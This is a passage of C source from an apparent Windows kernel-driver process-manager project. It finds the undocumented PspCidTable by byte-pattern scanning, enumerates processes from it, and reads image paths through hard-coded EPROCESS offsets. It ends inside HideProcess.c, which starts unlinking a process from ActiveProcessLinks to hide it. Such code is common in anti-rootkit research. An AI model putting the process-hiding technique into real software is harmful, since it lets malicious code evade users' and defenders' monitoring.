OutputBuffer,ULONG_PTR OutSize)\r\n{\r\n\tNTSTATUS Status;\r\n\t\r\n\tULONG_PTR ulCnt = (OutSize - sizeof(PROCESS_INFORMATION_OWN)) / sizeof(PROCESS_INFORMATION_ENTRY);\r\n\t\r\n\tScanHandleTableToEnumProcess(OutputBuffer, ulCnt);\r\n\tif (ulCnt >= OutputBuffer->NumberOfEntry)\r\n\t{\r\n\t\tStatus = STATUS_SUCCESS;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tStatus = STATUS_BUFFER_TOO_SMALL;\r\n\t}\r\n\treturn Status;\r\n}\r\n\r\nULONG_PTR GetPspCidTableAddress() \r\n{ \r\n\tPVOID PsLookupProcessByProcessIdAddress = NULL; \r\n\tULONG_PTR ulPspCidTableValue = 0; \r\n\tUNICODE_STRING uniFuncName; \r\n\tULONG uIndex = 0;\r\n\tint Offset = 0;\r\n\r\n\t// ȡPsLookupProcessByProcessIdĺַ \r\n\tRtlInitUnicodeString(&uniFuncName, L\"PsLookupProcessByProcessId\"); //NtosлúPsLookupProcessByProcessIdַ\r\n\tPsLookupProcessByProcessIdAddress = MmGetSystemRoutineAddress(&uniFuncName); \r\n\tif (PsLookupProcessByProcessIdAddress== NULL ) \r\n\t{ \r\n\t\treturn ulPspCidTableValue; \r\n\t} \r\n\tDbgPrint(\"PsLookupProcessByProcessId->%08X\",PsLookupProcessByProcessIdAddress); \r\n\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN64\r\n\tcase WINDOWS_7:\r\n\t\t{\r\n\t\t\t\r\n\t\t\t/*\r\n\t\t\tkd> u PsLookupProcessByProcessId l 20\r\n\t\t\tnt!PsLookupProcessByProcessId:\r\n\t\t\tfffff800`041a61fc 48895c2408 mov qword ptr [rsp+8],rbx\r\n\t\t\tfffff800`041a6201 48896c2410 mov qword ptr [rsp+10h],rbp\r\n\t\t\tfffff800`041a6206 4889742418 mov qword ptr [rsp+18h],rsi\r\n\t\t\tfffff800`041a620b 57 push rdi\r\n\t\t\tfffff800`041a620c 4154 push r12\r\n\t\t\tfffff800`041a620e 4155 push r13\r\n\t\t\tfffff800`041a6210 4883ec20 sub rsp,20h\r\n\t\t\tfffff800`041a6214 65488b3c2588010000 mov rdi,qword ptr gs:[188h]\r\n\t\t\tfffff800`041a621d 4533e4 xor r12d,r12d\r\n\t\t\tfffff800`041a6220 488bea mov rbp,rdx\r\n\t\t\tfffff800`041a6223 66ff8fc4010000 dec word ptr [rdi+1C4h]\r\n\t\t\tfffff800`041a622a 498bdc mov rbx,r12\r\n\t\t\tfffff800`041a622d 488bd1 mov rdx,rcx\r\n\t\t\tfffff800`041a6230 488b0d9149edff mov rcx,qword ptr [nt!PspCidTable (fffff800`0407abc8)]\r\n\t\t\tfffff800`041a6237 e834480200 call nt!ExMapHandleToPointer (fffff800`041caa70)\r\n\t\t\t*/\r\n\t\t\tfor (uIndex=0;uIndex<0x1000;uIndex++ ) \r\n\t\t\t{ \r\n\t\t\t\tif (*((PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex)) == 0x48 && \r\n\t\t\t\t\t*((PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex + 1) ) == 0x8B && \r\n\t\t\t\t\t*((PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex + 7) ) == 0xE8 ) \r\n\t\t\t\t{ \r\n\t\t\t\r\n\t\t\t\t\tmemcpy(&Offset,(PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex + 3),4);\r\n\t\t\t\t\tulPspCidTableValue = (ULONG_PTR)PsLookupProcessByProcessIdAddress+uIndex+Offset+7; \r\n\r\n\t\t\t\t\tDbgPrint(\"Found OK!!\\r\\n\");\r\n\t\t\t\t\tbreak; \r\n\t\t\t\t} \r\n\t\t\t} \r\n\t\t\tbreak;\r\n\t\t}\r\n#else\r\n\tcase WINDOWS_XP:\r\n\t\t{\r\n\t\t\t/*\r\n\t\t\tkd> u PsLookupProcessByProcessId l 20\r\n\t\t\tnt!PsLookupProcessByProcessId:\r\n\t\t\t80582687 8bff mov edi,edi\r\n\t\t\t80582689 55 push ebp\r\n\t\t\t8058268a 8bec mov ebp,esp\r\n\t\t\t8058268c 53 push ebx\r\n\t\t\t8058268d 56 push esi\r\n\t\t\t8058268e 64a124010000 mov eax,dword ptr fs:[00000124h]\r\n\t\t\t80582694 ff7508 push dword ptr [ebp+8]\r\n\t\t\t80582697 8bf0 mov esi,eax\r\n\t\t\t80582699 ff8ed4000000 dec dword ptr [esi+0D4h]\r\n\t\t\t8058269f ff3560a75680 push dword ptr [nt!PspCidTable (8056a760)]\r\n\r\n\t\t\t*/\r\n\t \tfor (uIndex = 0; uIndex < 0x1000; uIndex++ ) \r\n\t\t\t{ \r\n\t\t\t\tif ( *( (PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex) ) == 0xFF && \r\n\t\t\t\t\t*( (PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex + 1) ) == 0x35 && \r\n\t\t\t\t\t*( (PUCHAR)((ULONG_PTR)PsLookupProcessByProcessIdAddress+ uIndex + 6) ) == 0xE8 ) \r\n\t\t\t\t{ \r\n\t\t\t\t\tDbgPrint(\"Found OK!!\\r\\n\"); \r\n\t\t\t\t\tulPspCidTableValue = *((PULONG)((ULONG)PsLookupProcessByProcessIdAddress+ uIndex + 2) ); \r\n\t\t\t\t\tbreak; \r\n\t\t\t\t} \r\n\t\t\t} \r\n\t\t\tbreak;\r\n\t\t}\r\n#endif\r\n default: \r\n return 0;\r\n\t}\r\n\r\n\treturn ulPspCidTableValue; \r\n} \r\n\r\nVOID ScanHandleTableToEnumProcess(PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt)\r\n{\r\n\tPHANDLE_TABLE HandleTable = NULL; // ָָ \r\n\tULONG_PTR uTableCode = 0; \r\n\tULONG uFlag = 0;\r\n\r\n\tHandleTable = (PHANDLE_TABLE)(*(ULONG_PTR*)PspCidTable); \r\n\r\n\tif (HandleTable && MmIsAddressValid((PVOID)HandleTable))\r\n\t{\r\n\t\tuTableCode = (ULONG_PTR)(HandleTable->TableCode) & 0xFFFFFFFFFFFFFFFC;\r\n\t\tif (uTableCode && MmIsAddressValid((PVOID)uTableCode))\r\n\t\t{\r\n\t\t\tuFlag = (ULONG)(HandleTable->TableCode) & 0x03; //00 01 10 \r\n\r\n\t\t\tswitch (uFlag)\r\n\t\t\t{\r\n\t\t\tcase 0:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable1(uTableCode,OutputBuffer, ulCnt);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\tcase 1:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable2(uTableCode,OutputBuffer, ulCnt);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\r\n\t\t\tcase 2:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable3(uTableCode,OutputBuffer, ulCnt);\r\n\t\t\t\t\tbreak; \r\n\t\t\t\t}\r\n\t\t\tdefault:\r\n\t\t\t\tKdPrint((\"TableCode error\\n\"));\r\n\t\t\t} \t\t\t\r\n\t\t}\r\n\t}\r\n}\r\n\r\n//uTableCode Ѿλ\r\nNTSTATUS EnumTable1(ULONG_PTR uTableCode,PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt)\r\n{\r\n\tPVOID Object = NULL;\r\n\tPHANDLE_TABLE_ENTRY HandleTableEntry = NULL; \r\n\tULONG uIndex = 0;\r\n\tULONG_PTR ulOffset = 0;\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n\tcase WINDOWS_XP:\r\n\t\t{\r\n\t\t\tulOffset = 0x8;\r\n\t\t\tbreak;\r\n\t\t}\r\n#else\r\n\tcase WINDOWS_7:\r\n\t\t{\r\n\t\t\tulOffset = 0x10;\r\n\t\t\tbreak;\r\n\t\t}\r\n#endif\r\n default:\r\n return STATUS_NOT_SUPPORTED;\r\n\t}\r\n\r\n\tHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG_PTR)(*(ULONG_PTR*)uTableCode) + ulOffset); \r\n //xp offset 0x08 \r\n\t//Win7 offset 0x10\r\n\tfor (uIndex = 0;uIndex<511; uIndex++ ) \r\n\t{ \r\n\t\tif (MmIsAddressValid((PVOID)&(HandleTableEntry->NextFreeTableEntry)))\r\n\t\t{\r\n\t\t\tif (HandleTableEntry->NextFreeTableEntry==0)\r\n\t\t\t{\r\n\t\t\t\tif (HandleTableEntry->Object != NULL ) \r\n\t\t\t\t{ \r\n\t\t\t\t\tif (MmIsAddressValid(HandleTableEntry->Object))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tObject = (PVOID)(((ULONG_PTR)HandleTableEntry->Object) & 0xFFFFFFFFFFFFFFF8); \r\n\t\t\t\t\t\tInsertProcess((PEPROCESS)Object,OutputBuffer, ulCnt);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tHandleTableEntry++; \r\n\t} \r\n\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS EnumTable2(ULONG_PTR uTableCode,PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt)\r\n{\r\n\tdo \r\n\t{ \r\n\t\tDbgPrint(\"Two\");\r\n\t\tEnumTable1(uTableCode,OutputBuffer,ulCnt); \r\n\t\tuTableCode += sizeof(ULONG_PTR); \r\n\t} while (*(PULONG_PTR)uTableCode != 0 && MmIsAddressValid((PVOID)*(PULONG_PTR)uTableCode)); \r\n\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS EnumTable3(ULONG_PTR uTableCode, PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt)\r\n{\r\n\tdo \r\n\t{ \r\n\t\tEnumTable2(uTableCode,OutputBuffer,ulCnt); \r\n\t\tuTableCode += sizeof(ULONG_PTR); \r\n\t} while (*(PULONG_PTR)uTableCode != 0); \r\n\r\n\treturn STATUS_SUCCESS; \r\n}\r\n\r\nVOID InsertProcess(PEPROCESS EProcess, PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt)\r\n{\r\n\tKAPC_STATE ApcState;\r\n\tPPEB Peb = NULL;\r\n\tULONG_PTR ulProcessParamters = 0;\r\n\r\n\tif (EProcess && MmIsAddressValid((PVOID)EProcess) && KeGetObjectType((PVOID)EProcess) == (ULONG_PTR)*PsProcessType)\r\n\t{ \r\n\r\n\t\tif (!IsProcessDie(EProcess)&&\r\n\t\t\tNT_SUCCESS(ObReferenceObjectByPointer(EProcess, 0, NULL, KernelMode))) //ΪҪöü\r\n\t\t{\r\n\t\t\tULONG_PTR ulCurrentCnt = OutputBuffer->NumberOfEntry;\r\n\t\t\tif (ulCnt > ulCurrentCnt)\r\n\t\t\t{\r\n\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].Eprocess = (ULONG_PTR)EProcess;\r\n\t\t\t\tOutputBuffer->Entry[ulCurrentCnt].Pid = *(ULONG*)((ULONG_PTR)EProcess+ProcessIdOfEprocess);\r\n\t\t\t\tstrcpy(OutputBuffer->Entry[ulCurrentCnt].ProcessName,(char*)((ULONG_PTR)EProcess + ProcessImageNameOfEprocess));\r\n\t\t\t\t\t((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ParentId = *(ULONG*)((ULONG_PTR)EProcess + FatherOfEprocess);\r\n\t\t\tDbgPrint(\"PspCidTable ID:%d %s\\r\\n\",*((ULONG*)((ULONG_PTR)EProcess+ProcessIdOfEprocess)),(char*)((ULONG_PTR)EProcess+ProcessImageNameOfEprocess));\r\n\t\t\t\tGetProcessPathBySectionObject(EProcess,((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurrentCnt].ProcessPath);\t\r\n\t\t\t/*\tPeb = PsGetProcessPeb(EProcess); //PEB\r\n\t\t\t\tif (Peb==NULL) \r\n\t\t\t\t{\r\n\t\t\t\t\treturn FALSE;\r\n\t\t\t\t}\r\n\t\t\t\tKeStackAttachProcess(EProcess, &ApcState);\r\n\r\n\t\t\t\tulProcessParamters = *(ULONG_PTR*)((ULONG_PTR)Peb+ulProcessParametersOfPeb);//0x20\r\n\r\n\t\t\t\tmemcpy(((PPROCESS_INFORMATION_OWN)OutputBuffer)->Entry[ulCurCnt].ProcessPath,((PUNICODE_STRING)(ulProcessParamters+ulImagePathNameOfProcessParameters))->Buffer,\r\n\t\t\t\t\t((PUNICODE_STRING)(ulProcessParamters+ulImagePathNameOfProcessParameters))->Length);//0x60\r\n\t\t\t\tKeUnstackDetachProcess(&ApcState);\r\n\t\t\t\t*/\r\n\t\t\t\t\r\n\t\t\t}\r\n\r\n\t\t\tOutputBuffer->NumberOfEntry++;\r\n\t\t\tObfDereferenceObject(EProcess);\r\n\t\t}\r\n\t} \r\n}\r\n\r\nBOOLEAN GetProcessPathBySectionObject(PEPROCESS EProcess,WCHAR* wzProcessPath)\r\n{\r\n\tPSECTION_OBJECT32 SectionObject32 = NULL;\r\n\tPSECTION_OBJECT64 SectionObject64 = NULL;\r\n\tPSEGMENT_OBJECT32 Segment32 = NULL;\r\n\tPSEGMENT_OBJECT64 Segment64 = NULL;\r\n\tPCONTROL_AREA32 ControlArea32 = NULL;\r\n\tPCONTROL_AREA64 ControlArea64 = NULL;\r\n\tPFILE_OBJECT FileObject = NULL;\r\n\tBOOLEAN bGetPath = FALSE;\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n\tcase WINDOWS_XP:\r\n\t\t{\r\n\t\t\tSectionObjectOfEProcess = 0x138;\r\n\t\t\tif (SectionObjectOfEProcess!=0&&MmIsAddressValid((PVOID)((ULONG_PTR)EProcess + SectionObjectOfEProcess)))\r\n\t\t\t{\r\n\t\t\t\tSectionObject32 = *(PSECTION_OBJECT32*)((ULONG_PTR)EProcess + SectionObjectOfEProcess);\r\n\t\t\t\tif (SectionObject32 && MmIsAddressValid(SectionObject32))\r\n\t\t\t\t{\r\n\t\t\t\t\tSegment32 = (PSEGMENT_OBJECT32)(SectionObject32->Segment);\r\n\t\t\t\t\tif (Segment32 && MmIsAddressValid(Segment32))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tControlArea32 = (PCONTROL_AREA32)(Segment32->ControlArea);\r\n\t\t\t\t\t\tif (ControlArea32 && MmIsAddressValid(ControlArea32))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tFileObject = ControlArea32->FilePointer;\r\n\t\t\t\t\t\t\tif (FileObject&&MmIsAddressValid(FileObject))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tbGetPath = GetPathByFileObject(FileObject, wzProcessPath);\r\n\t\t\t\t\t\t\t\tif (!bGetPath)\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tDbgPrint(\"Error\\r\\n\");\r\n\t\t\t\t\t\t\t\t\treturn FALSE;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\treturn TRUE;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n#else\r\n\tcase WINDOWS_7:\r\n\t\t{\r\n\t\t\tSectionObjectOfEProcess = 0x268;\r\n\t\t\tif (SectionObjectOfEProcess!=0&&MmIsAddressValid((PVOID)((ULONG_PTR)EProcess + SectionObjectOfEProcess)))\r\n\t\t\t{\r\n\t\t\t\tSectionObject64 = *(PSECTION_OBJECT64*)((ULONG_PTR)EProcess + SectionObjectOfEProcess);\r\n\r\n\t\t\t\tif (SectionObject64 && MmIsAddressValid(SectionObject64))\r\n\t\t\t\t{\r\n\t\t\t\t\tSegment64 = (PSEGMENT_OBJECT64)(SectionObject64->Segment);\r\n\t\t\t\t\tif (Segment64 && MmIsAddressValid(Segment64))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tControlArea64 = (PCONTROL_AREA64)Segment64->ControlArea;\r\n\t\t\t\t\t\tif (ControlArea64 && MmIsAddressValid(ControlArea64))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tFileObject = (PFILE_OBJECT)ControlArea64->FilePointer;\r\n\t\t\t\t\t\t\tif (FileObject&&MmIsAddressValid(FileObject))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tFileObject = (PFILE_OBJECT)((ULONG_PTR)FileObject & 0xFFFFFFFFFFFFFFF0);\r\n\t\t\t\t\t\t\t\tbGetPath = GetPathByFileObject(FileObject, wzProcessPath);\r\n\t\t\t\t\t\t\t\tif (!bGetPath)\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tDbgPrint(\"Error\\r\\n\");\r\n\t\t\t\t\t\t\t\t\treturn FALSE;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\treturn TRUE;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n#endif\r\n default:\r\n return FALSE;\r\n\t}\r\n\treturn TRUE;\r\n}\r\nBOOLEAN GetPathByFileObject(PFILE_OBJECT FileObject, WCHAR* wzPath)\r\n{\r\n\tBOOLEAN bGetPath = FALSE;\r\n\tPOBJECT_NAME_INFORMATION ObjectNameInformation = NULL;\r\n\t__try\r\n\t{\r\n\t\tif (FileObject && MmIsAddressValid(FileObject) && wzPath)\r\n\t\t{\r\n\t\t\tif (NT_SUCCESS(IoQueryFileDosDeviceName(FileObject,&ObjectNameInformation))) //עúúҪͷڴ\r\n\t\t\t{\r\n\t\t\t\twcsncpy(wzPath,ObjectNameInformation->Name.Buffer,ObjectNameInformation->Name.Length);\r\n\t\t\t\tbGetPath = TRUE;\r\n\t\t\t\tExFreePool(ObjectNameInformation);\r\n\t\t\t}\r\n\t\t\tif (!bGetPath)\r\n\t\t\t{\r\n\t\t\t\tif (IoVolumeDeviceToDosName||RtlVolumeDeviceToDosName)\r\n\t\t\t\t{\r\n\t\t\t\t\tNTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tULONG ulRet= 0;\r\n\t\t\t\t\tPOBJECT_NAME_INFORMATION Buffer = (POBJECT_NAME_INFORMATION)ExAllocatePool(PagedPool,0x1000);\r\n\t\t\t\t\tif (Buffer)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// ObQueryNameString :C:\\Program Files\\VMware\\VMware Tools\\VMwareTray.exe\r\n\t\t\t\t\t\tmemset(Buffer, 0, 0x1000);\r\n\t\t\t\t\t\tStatus = ObQueryNameString((PVOID)FileObject, Buffer, 0x1000, &ulRet);\r\n\t\t\t\t\t\tif (NT_SUCCESS(Status))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tPOBJECT_NAME_INFORMATION Temp = (POBJECT_NAME_INFORMATION)Buffer;\r\n\t\t\t\t\t\t\tWCHAR szHarddiskVolume[100] = L\"\\\\Device\\\\HarddiskVolume\";\r\n\t\t\t\t\t\t\tif (Temp->Name.Buffer!=NULL)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif (Temp->Name.Length / sizeof(WCHAR) > wcslen(szHarddiskVolume) &&\r\n\t\t\t\t\t\t\t\t\t!_wcsnicmp(Temp->Name.Buffer, szHarddiskVolume, wcslen(szHarddiskVolume)))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t// \"\\\\Device\\\\HarddiskVolume\" ʽڵģôٲѯ\r\n\t\t\t\t\t\t\t\t\tUNICODE_STRING uniDosName;\r\n\t\t\t\t\t\t\t\t\tif (NT_SUCCESS(IoVolumeDeviceToDosName(FileObject->DeviceObject, &uniDosName)))\r\n\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\tif (uniDosName.Buffer!=NULL)\r\n\t\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\t\twcsncpy(wzPath, uniDosName.Buffer, uniDosName.Length);\r\n\t\t\t\t\t\t\t\t\t\t\twcsncat(wzPath, Temp->Name.Buffer + wcslen(szHarddiskVolume) + 1, Temp->Name.Length - (wcslen(szHarddiskVolume) + 1));\r\n\t\t\t\t\t\t\t\t\t\t\tbGetPath = TRUE;\r\n\t\t\t\t\t\t\t\t\t\t} \r\n\t\t\t\t\t\t\t\t\t\tExFreePool(uniDosName.Buffer);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\telse if (NT_SUCCESS(RtlVolumeDeviceToDosName(FileObject->DeviceObject, &uniDosName)))\r\n\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\tif (uniDosName.Buffer!=NULL)\r\n\t\t\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t\t\twcsncpy(wzPath, uniDosName.Buffer, uniDosName.Length);\r\n\t\t\t\t\t\t\t\t\t\t\twcsncat(wzPath, Temp->Name.Buffer + wcslen(szHarddiskVolume) + 1, Temp->Name.Length - (wcslen(szHarddiskVolume) + 1));\r\n\t\t\t\t\t\t\t\t\t\t\tbGetPath = TRUE;\r\n\t\t\t\t\t\t\t\t\t\t} \r\n\t\t\t\t\t\t\t\t\t\tExFreePool(uniDosName.Buffer);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t// \"\\\\Device\\\\HarddiskVolume\" ʽͷģôֱӸơ\r\n\t\t\t\t\t\t\t\t\twcsncpy(wzPath, Temp->Name.Buffer, Temp->Name.Length);\r\n\t\t\t\t\t\t\t\t\tbGetPath = TRUE;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tExFreePool(Buffer);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t__except(1)\r\n\t{\r\n\t\tDbgPrint(\"GetPathByFileObject Catch __Except\\r\\n\");\r\n\t\tbGetPath = FALSE;\r\n\t}\r\n\treturn bGetPath;\r\n}\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/EnumProcess.h", "content": "#pragma once\r\n#include \"ProcessManagerDrv.h\"\r\n\r\n\r\n\r\n\r\nextern\r\n\tPPEB\r\n\tPsGetProcessPeb(PEPROCESS Process);\r\n\r\n\r\nBOOLEAN IsProcessDie(PEPROCESS EProcess);\r\n\r\nNTSTATUS EnumProcessByOpenProcess(PVOID OutputBuffer,ULONG_PTR uOutSize); \r\nNTSTATUS EnumProcessByActiveList(PPROCESS_INFORMATION_OWN OutputBuffer,ULONG_PTR OutSize);\r\nNTSTATUS EnumProcessByPspCidTable(PPROCESS_INFORMATION_OWN OutputBuffer,ULONG_PTR OutSize);\r\n\r\n\r\nULONG_PTR GetPspCidTableAddress() ;\r\nVOID ScanHandleTableToEnumProcess(PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt);\r\n\r\n\r\nNTSTATUS EnumTable1(ULONG_PTR uTableCode, PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt);\r\nNTSTATUS EnumTable2(ULONG_PTR uTableCode, PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt);\r\nNTSTATUS EnumTable3(ULONG_PTR uTableCode,PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt);\r\n\r\nVOID InsertProcess(PEPROCESS EProcess, PPROCESS_INFORMATION_OWN OutputBuffer, ULONG_PTR ulCnt);\r\n\r\nULONG_PTR KeGetObjectType(PVOID Object);\r\ntypedef ULONG_PTR \r\n\t(*pfnObGetObjectType)(PVOID pObject);\r\n\r\nBOOLEAN PsGetDosName(PEPROCESS ProcessObject, PUNICODE_STRING *DosName);\r\n\r\nNTSTATUS \r\n\tPsReferenceProcessFilePointer ( \r\n\tIN PEPROCESS Process, \r\n\tOUT PVOID *pFilePointer \r\n\t); \r\n\r\nextern \r\n\tUCHAR *\r\n\tPsGetProcessImageFileName(\r\n\t__in PEPROCESS Process\r\n\t);\r\nextern\r\nNTSTATUS\r\n\tNTAPI\r\n\tZwQueryInformationProcess (\r\n\t__in HANDLE ProcessHandle,\r\n\t__in PROCESSINFOCLASS ProcessInformationClass,\r\n\t__out_bcount(ProcessInformationLength) PVOID ProcessInformation,\r\n\t__in ULONG ProcessInformationLength,\r\n\t__out_opt PULONG ReturnLength\r\n\t);\r\n\r\nBOOLEAN UnicodeToChar(CHAR** szDest,PUNICODE_STRING uniSource);\r\n\r\n\r\ntypedef struct _CONTROL_AREA32\r\n{\r\n\tPVOID Segment;\r\n\tLIST_ENTRY DereferenceList;\r\n\tULONG32 NumberOfSectionReferences;\r\n\tULONG32 NumberOfPfnReferences;\r\n\tULONG32 NumberOfMappedViews;\r\n\tULONG32 NumberOfSystemCacheViews;\r\n\tULONG32 NumberOfUserReferences;\r\n\tunion\r\n\t{\r\n\t\tULONG LongFlags;\r\n\t\tULONG Flags;\r\n\t} u;\r\n\tPFILE_OBJECT FilePointer; \r\n} CONTROL_AREA32, *PCONTROL_AREA32;\r\ntypedef struct _CONTROL_AREA64\r\n{\r\n\tPVOID Segment;\r\n\tLIST_ENTRY DereferenceList;\r\n\tULONG64 NumberOfSectionReferences;\r\n\tULONG64 NumberOfPfnReferences;\r\n\tULONG64 NumberOfMappedViews;\r\n\tULONG64 NumberOfUserReferences;\r\n\tunion\r\n\t{\r\n\t\tULONG LongFlags;\r\n\t\tULONG Flags;\r\n\t} u;\r\n\tPFILE_OBJECT FilePointer;\r\n}CONTROL_AREA64,*PCONTROL_AREA64;\r\n\r\n\r\n\r\ntypedef struct _SEGMENT_OBJECT32 \r\n{\r\n\tstruct _CONTROL_AREA32* ControlArea;\r\n\tULONG32 TotalNumberOfPtes;\r\n\tULONG32 NonExtendedPtes;\r\n\tULONG32 WritableUserReferences;\r\n\tULONG64 SizeOfSegment;\r\n\tULONG32 SegmentPteTemplate;\r\n\tULONG32 NumberOfCommittedPages;\r\n\tPVOID ExtendInfo;\r\n\tPVOID SystemImageBase;\r\n\tPVOID BasedAddress;\r\n\tULONG64 Unknown;\r\n\tPVOID PrototypePte;\r\n\tULONG32 ThePtes;\r\n}SEGMENT_OBJECT32,*PSEGMENT_OBJECT32;\r\ntypedef struct _SEGMENT_OBJECT64\r\n{\r\n\tstruct _CONTROL_AREA64* ControlArea;\r\n\tULONG32 TotalNumberOfPtes;\r\n\tULONG32 SegmentFlags;\r\n\tULONG64 NumberOfCommittedPages;\r\n\tULONG64 SizeOfSegment;\r\n\tunion \r\n\t{\r\n\t\tULONG64 ExtendInfo;\r\n\t\tULONG64 BasedAddress;\r\n\t}Unknow;\r\n\tULONG64 SegmentLock;\r\n\tULONG64 u1;\r\n\tULONG64 u2;\r\n\tULONG64 PrototypePte;\r\n\tULONG64 ThePtes;\r\n}SEGMENT_OBJECT64,*PSEGMENT_OBJECT64;\r\n\r\n\r\n\r\n\r\ntypedef struct _SECTION_OBJECT32 \r\n{\r\n\tPVOID StartingVa;\r\n\tPVOID EndingVa;\r\n\tPVOID Parent;\r\n\tPVOID LeftChild;\r\n\tPVOID RightChild;\r\n\tstruct _SEGMENT_OBJECT32* Segment; \r\n}SECTION_OBJECT32,*PSECTION_OBJECT32;\r\ntypedef struct _SECTION_OBJECT64\r\n{\r\n\tPVOID StartingVa;\r\n\tPVOID EndingVa;\r\n\tPVOID Parent;\r\n\tPVOID LeftChild;\r\n\tPVOID RightChild;\r\n\tstruct _SEGMENT_OBJECT64* Segment; \r\n}SECTION_OBJECT64,*PSECTION_OBJECT64;\r\n\r\n\r\nBOOLEAN GetProcessPathBySectionObject(PEPROCESS EProcess,WCHAR* wzProcessPath);\r\nBOOLEAN GetPathByFileObject(PFILE_OBJECT FileObject, WCHAR* wzPath);\r\n\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/HideProcess.c", "content": "#include \"HideProcess.h\"\r\n#include \"Common.h\"\r\nextern WIN_VERSION WinVersion;\r\nextern ULONG_PTR Active_List;\r\nextern ULONG_PTR ProcessIdOfEprocess;\r\nextern ULONG_PTR ProcessImageNameOfEprocess;\r\n\r\nextern ULONG_PTR PspCidTable;\r\n\r\nKIRQL Irql;\r\nVOID RemoveNodeFromActiveProcessLinks(ULONG_PTR ProcessId)\r\n{\r\n\tNTSTATUS status;\r\n\tPEPROCESS\tProcess;\r\n\tULONG_PTR ActiveOffsetPre = 0;\r\n\tULONG_PTR ActiveOffsetNext = 0;\r\n\tPLIST_ENTRY Temp = NULL;\r\n\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n case WINDOWS_XP: //32Bits\r\n {\r\n ActiveOffsetPre = 0x8c;\r\n ActiveOffsetNext = 0x88;\r\n break;\r\n }\r\n#else\r\n case WINDOWS_7: //64Bits \r\n {\r\n ActiveOffsetPre = 0x190;\r\n ActiveOffsetNext = 0x188;\r\n break;\r\n }\r\n#endif\r\n default:\r\n return;\r\n\t}\r\n\r\n\tstatus = PsLookupProcessByProcessId((HANDLE)ProcessId,&Process);\r\n\tif 